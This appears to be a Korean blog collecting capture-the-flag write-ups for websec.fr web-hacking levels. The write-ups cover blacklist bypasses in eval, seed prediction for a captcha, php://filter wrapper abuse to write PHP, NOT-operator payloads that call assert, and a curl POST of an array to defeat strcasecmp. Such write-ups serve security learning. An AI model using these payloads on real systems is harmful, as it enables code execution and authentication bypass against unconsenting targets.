Websec-level9

 

 

 

 

입력한 문자열이 블랙리스트에 걸러진후 파일에 저장되며 이 파일을 다시 불러서 eval 해준다.

 

 


 

stripcslashes를 이용하면 풀 수 있다.

stripcslashes는 \n, \r 과 같은 역슬래쉬가 있는 문자들을 역슬래쉬를 제거하고 그 문자의 의미(?)로 표현해준다.

(ex : \n -> 줄바꿈)

(stripcslashes online tester http://php.fnlist.com/string/stripcslashes)

 

 

따라서 블랙리스트에 있는 ' 같은 문자를 \x27, \47으로 입력해주면

블랙리스트에 필터링 되지않고 cache_file에 저장되며 이 파일을 출력해줄 때 stripcslashes를 통해 \x27이 '로 해석되어 함수를 실행 시킬 수 있어서 문제를 해결할 수 있다.. 

'Web hacking > Websec' 카테고리의 다른 글

websec - level 19  (0) 2020.03.05
websec - level 24  (0) 2020.02.25
Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 17  (0) 2020.01.05

websec - level 19

 

 

index.php
random.php
anti_csrf.php

 

 

 

해당 index.php에 접속하게 되면 token과 captcha이 생성된다.

 

Input에 captcha 값을 넣고  anti_csrf.php로 인해 POST로 받은 token 값이 달라졌는지 검증한 후 captcha와 token이 일치하면 지정된 email_addr로 메일이 보내지게 된다.

 

따라서 우리는 captcha값을 구하는 것과 email을 우회할 방법을 찾으면 된다.

 

 

 

 


 

 

1. captcha 구하기

 

 

 

우선 random으로 생성되는 captcha 값을 구해야한다. captcha는 generate_random_text함수로 생성된다.

 

 

이 함수가 있는 random.php를 살펴보면 srand() 매개변수에 microtime(true)을 시드로 받는다. 이 안의 microtime(true)는 정수로서 이 부분을 이용하여 captcha값을 구할 수 있다고 생각했다.

 

php에 똑같이 generate_random_text 함수를 구현한 후 token과 captcha를 생성한다. 이때 이 php를 실행 시킨 후 바로 index.php를 실행하면 microtime으로 1, 2 초 정도 차이가 날 수 있지만 이는 token과 captcha를 여러개 생성해주면 index.php에 생성되는 token값과 같은 값을 찾을 수 있다.

 

 

 

- 위의 아이디어를 가지고 token값을 생성하였으나, websec의 token과 같은 값을 찾을 수가 없었다.

 

 

  이 때의 원인으로 서버시간의 차이, php버전의 차이정도로 생각하였다.

 

 

  1. 서버시간의 차이

     첫번째로 의심한 것은 서버시간의 차이가 있어서 microtime이 리턴하는 값이 다를 것이라 예상하였는데 실제로 해       보니 별 차이가 없었다.

 

  2. php 버전의 차이

     php버전에 따라서 rand가 반환하는 값의 차이가 있을 것이라 생각하였다. 처음에 내부함수를 사용할 수 있는 다른       문제에 들어가서 phpinfo를 통해 php 버전이 7.2 버전임을 확인하고 값을 찾았지만 별 차이가 없었다. 그래서 버전       차이가 아니라 다른 문제인 것으로 생각하였으나 문제마다 버전이 다르다는 것을 알고 php 버전을 줄이면서 값을         확인한 결과 7.0 버전에서 token 값을 찾을 수 있었다.

 

 

token 값과 captcha가 생성될 때 시간 차이가 1초이내이므로 같은 시간에 생성된 captcha로 값을 구할 수 있다.

 

 

 

 

 

 

 

2. email_addr 우회

 

 

 

email_addr를 어떻게 우회할지 고민하다가 그냥 header에 host명을 아무거나 바꿔서 값을 보냈더니 그냥 문제가 풀렸다. 따로 email 전체를 바꾸지 않아도 host만 바꿔도 해결되게 문제를 만들어 놓아서 쉽게 풀었다.

'Web hacking > Websec' 카테고리의 다른 글

Websec - level9  (1) 2020.03.24
websec - level 24  (0) 2020.02.25
Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 17  (0) 2020.01.05

websec - level 24

 

 

 

파일이름을 입력하면 해당 파일명으로 파일을 생성할 수 있고, 안에 data를 넣을 수  있다.

data는 <?와 script가 필터링 되어 파일에 쓸 수 없다.

 

 


 

1. XSS

우리가 입력할 수 있는 것은 filename과 data이다.

 

 

처음에는 filename부분에 <script>태그를 넣어 xss를 시도하려고 하였다.

<script>alert(1)</script>를 넣었을 때 성공적으로 수행되며 edit창으로 넘어갔으나, /를 dir로 인식을 하는지

 

 

 

다음과 같은 오류로 서버에 저장되지 않아서 사용할 수 없었다.

 

 

 

 


 

2. PHP wrapper

두번째는 data와 filename모두를 건드려 보았다.

실질적으로 데이터가 저장되는 부분은 file_put_contents부분이라 이 부분을 중심으로 시도해보았다.

 

file_put_content의 메뉴얼을 살펴보면

 

 

 

다음과 같이 path를 적는 부분에 Wrapper를 사용할 수 있음을 알 수 있다.

 

root-me 문제를 풀면서 사용했던 php wrapper "php://filter/convert.base64-encode/resource=[파일명]"를 사용하면 파일이 실행되기전 base64로 인코딩된 파일을 나타내준다.

 

이번과 같은 경우 data에 <?와 <script>를 사용하지 못하는데 적절한 php코드를 작성 후 encode된 값을 넘겨주면 stripos 필터에 걸리지 않고 data를 넘겨 줄 수 있다.

그리고 우리가 원하는 것은 출력될 때 정상적인 php코드로 동작하는 것이므로 file_put_contents로 파일을 작성할 때에 php wrapper를 사용하여 넘겨준 data를 decode하여 작성하게 된다면, 우리가 /uploads 디렉토리로 접근하여 파일을 읽었을 때에 정상적으로 php코드가 실행 될 것이라 예상할 수 있다.

 

 

 

<? php
	echo var_dump(scandir'/');
?>

#directory에 있는 file 찾기

 

 

다음과 같이 php코드로 flag파일을 찾은 후 파일을 읽으면 답을 얻을 수 있다.

 

 

 

 

 

 

 


 

XSS를 이용한 풀이방법을 한번 다시 연구해봐야겠다..

'Web hacking > Websec' 카테고리의 다른 글

Websec - level9  (1) 2020.03.24
websec - level 19  (0) 2020.03.05
Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 17  (0) 2020.01.05

Websec - level 22

 

 

 

 

 


 

 

14번문제를 풀면서 고민했던 방법 중 $blacklist{} 방법을 사용하여 쉽게 풀었다.

 

$blacklist{input} input값을 1씩 늘려가면서 결과 값으로

var_dump, serialize, print_r 등의 원하는 값을 찾은 후 이를 이용하여 $a를 출력하여 문제를 해결하였다.

 

 

https://seummm.tistory.com/27

 

Websec - level 14

Websec - level 14 input은 25글자로 제한되어 있으며, 내부함수와 설정된 문자, 문자열들이 블랙리스트로 등록되어 Input에 해당 문자가 있으면 Insecure code detected!을 출력하게 된다. 1. 처음에는 $blackli..

seummm.tistory.com

 

 


문제를 풀면서...

 

1. serialize를 사용했을 때 *, A는 갑자기 어디서 나타난건가

O:1:"A":3:{s:3:"pub";s:17:"-";s:6:"*pro";s:18:"-";s:6:"Apri";s:22:"-";}
object(A)#1 (3) {
  ["pub"]=>
  string(17) "-"
  ["pro":protected]=>
  string(18) "-"
  ["pri":"A":private]=>
  string(22) "-}"
}

var_dump에서도 A를 발견할 수 있었다.

 

 

 

 

 

->

 

object를 배열로 cast할 때 property에 따라 property names/new array keys가 앞에 붙는다.

 

 

protected'(space-padded)*'

private : '(space-padded)class이름'

 

 

class test
{
    public $var1 = 1;
    protected $var2 = 2;
    private $var3 = 3;
    static $var4 = 4;
   
    public function toArray()
    {
        return (array) $this;
    }
}

$t = new test;
print_r($t->toArray());

/* outputs:

Array
(
    [var1] => 1
    [ * var2] => 2
    [ test var3] => 3
)

 

 

 

 


 

 

2. Serialize를 이용하여 출력하였을 때 왜 *pro, Apri로 출력된 각각의 문자열이 serialize에서 표시된 길이와 같지않을까?

 

O:1:"A":3:{s:3:"pub";s:17:"-";s:6:"*pro";s:18:"-";s:6:"Apri";s:22:"-";}

 

 

 

 

 

->protect와 private의 *와 A사이에 \0이 생략되어있어 보이는 숫자보다 +2하면 된다.

   serialize할 때 addslashes(serialize($a))하면 숨겨진 %00를 확인할 수 있다.!

 

 


 

 

추가적으로 공부한 내용을 토대로 새로운 풀이를 얻을 수 있었따.

 

((array)$a){'pub'}

((array)$a){'%00*%00pro'}

((array)$a){'%00A%00pri'} 

'Web hacking > Websec' 카테고리의 다른 글

websec - level 19  (0) 2020.03.05
websec - level 24  (0) 2020.02.25
Websec - level 14  (0) 2020.02.19
Websec - level 17  (0) 2020.01.05
Websec - level 4  (0) 2020.01.05

Websec - level 14

 

 

 

 

input은 25글자로 제한되어 있으며, 내부함수와 설정된 문자, 문자열들이

블랙리스트로 등록되어 Input에 해당 문자가 있으면 Insecure code detected!을 출력하게 된다.

 

 


 

1.

 

 

처음에는 $blacklist{0}, $blacklist{1} ... 를 각각 출력해서 내부함수를 사용하려고 하였다.

 

 

Input : $blacklist{0}(); 

 

 

다음과 같이 $blacklist{숫자}의 결과값이 내부함수명으로 나와 함수를 실행 가능하게한다.

 

하지만 이 방법을 포기하게 된 것은. 우리가 원하는 flag값은 문제에서 sha1($flag)형식으로 되어있는 것을 알 수 있는데

 

 

 

input값이 25글자를 초과할 수 밖에 없다고 생각하여 다른 방법을 생각하게 되었다.

 

 


 

2.

 

root-me eval 문제에서도 사용했었던  not, xor과 같은 연산을 이용하여 시도하였다.

 

파일명이 길기 때문에 파일명을 GET방식으로 전달하고 Input을 통해 GET으로 전달한 파일명을 얻어서 문제를 해결하면 될 것 같다. []는 블랙리스트 되어있으니 {}로 대체해주고 NOT연산을 사용하여 작성하면

 

 

 

Input : ${~%a0%b8%ba%ab}{0} ~~

%a0 은 글자수 하나로 인식된다.

 

 

이런 형태로 input을 진행시킬 수 있을 것 같다.

 

우선 flag를 찾기위해 ()안의 payload를 실행 시켜줄 수 있는 assert를 이용하여

payload로 assert(var_dump(scandir('/')))를 사용한 후

 

 

 

찾은 파일을 file_get_contents를 통해 읽으면 문제를 풀 수 있다.

 

 

 


 

 

처음에 payload를 보낼 때 %a0%b8%ba%ab가 아닌 \xa0\xb8\ba\ab를 보냈었다.

 

 \xa0\xb8\ba\ab로 문자를 보내게 되면 

 

 

 

 

_GET으로 변형되는게 아니라 =_=G=E=T으로 변형되고 not이 되기 전 문자도 %를 사용했을 때와 다르게 진행된다.

php를 통해서 E를 not연산을 이용하면 BA가 나오게 되고 이 문자를 다시 ~\xBA 을 하게되면 º라는 문자가 나오게 된다. 하지만 ~%BA를 사용한다면 �로 출력된다.

 

정리하면

 

NOT 연산의 결과

E            =>  BA   

\xBA       =>  º        =>  =E

%BA        =>  �       =>    E

 

 

분명히 같은 값으로 연산을 하였는데 =이 추가되어 원하는 결과 값을 얻을 수 없었다.

\xBA를 bin2hex로 hex값을 구해보니 C2BA로 not 연산을 하면 3D45가 되고 -> =E가 되게된다.

 

 

\xBA를 할 때는 왜 º 로 들어가고  %BA로 할 때는 왜 다르게 들어가는지 알아봐야겠다.

'Web hacking > Websec' 카테고리의 다른 글

websec - level 24  (0) 2020.02.25
Websec - level 22  (0) 2020.02.22
Websec - level 17  (0) 2020.01.05
Websec - level 4  (0) 2020.01.05
Websec - level 2  (0) 2019.12.30

Websec - level 17

 

 

 

 

우리가 입력한 flag 값이 어째저째 만들어진 flag값과 같으면 flag를 표시해준다.

 

 

 


 

 

비교를 strcasecmp로 되어있는데 

strcmp와 같은 문자열 비교해주는 함수이고 대소문자 구분하지 않는 기능이 있다.

 

strcmp와 똑같은 취약점이 있을 것 같아서 시도해보았다.

 

php5.3에서 strcmp에서 string과 Array를 비교하면 NULL값을 반환해준다.

php에서 !NULL는 true로 볼 수 있어서 Array값을 넣게되면 조건을 만족시켜준다.

 

 

 

post로 배열을 전달해주면

 

 

curl -d "flag[]=''" -X POST http://websec.fr/level17/index.php

 

 

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Seventeen</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
        <meta http-equiv="content-type" content="text/html;charset=UTF-16">
</head>
        <body>
                <div id="main">
                        <div class="container">
                                <div class="row">
                                        <h1>Level Seventeen <small> - Guessing is fun!</small></h1>
                                </div>
                                <div class="row">
                                        <p class="lead">
                                        Can you guess the flag?  You can check the sources <a href="source.php">here</a>.
                                        </p>
                                </div>
                        </div>
                        <div class="container">
                                            <div class="row">
                                <form class="form-inline" method='post'>
                                    <input name='flag' class='form-control' type='text' placeholder='Guessed flag'>
                                    <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                                </form>
                            </div>
                        </div>
                                                <br>
                        <div class="container">
                                            <div class="row">
                                <div class="alert alert-success">Here is your flag: <mark>WEBSEC{-답-}</mark>.</div>                            </div>
                        </div>
                                        </div>
        </body>
</html>

 

 

다음과 같이 답을 얻을 수 있다.★

 

'Web hacking > Websec' 카테고리의 다른 글

Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 4  (0) 2020.01.05
Websec - level 2  (0) 2019.12.30
Websec - level 1  (0) 2019.12.30

+ Recent posts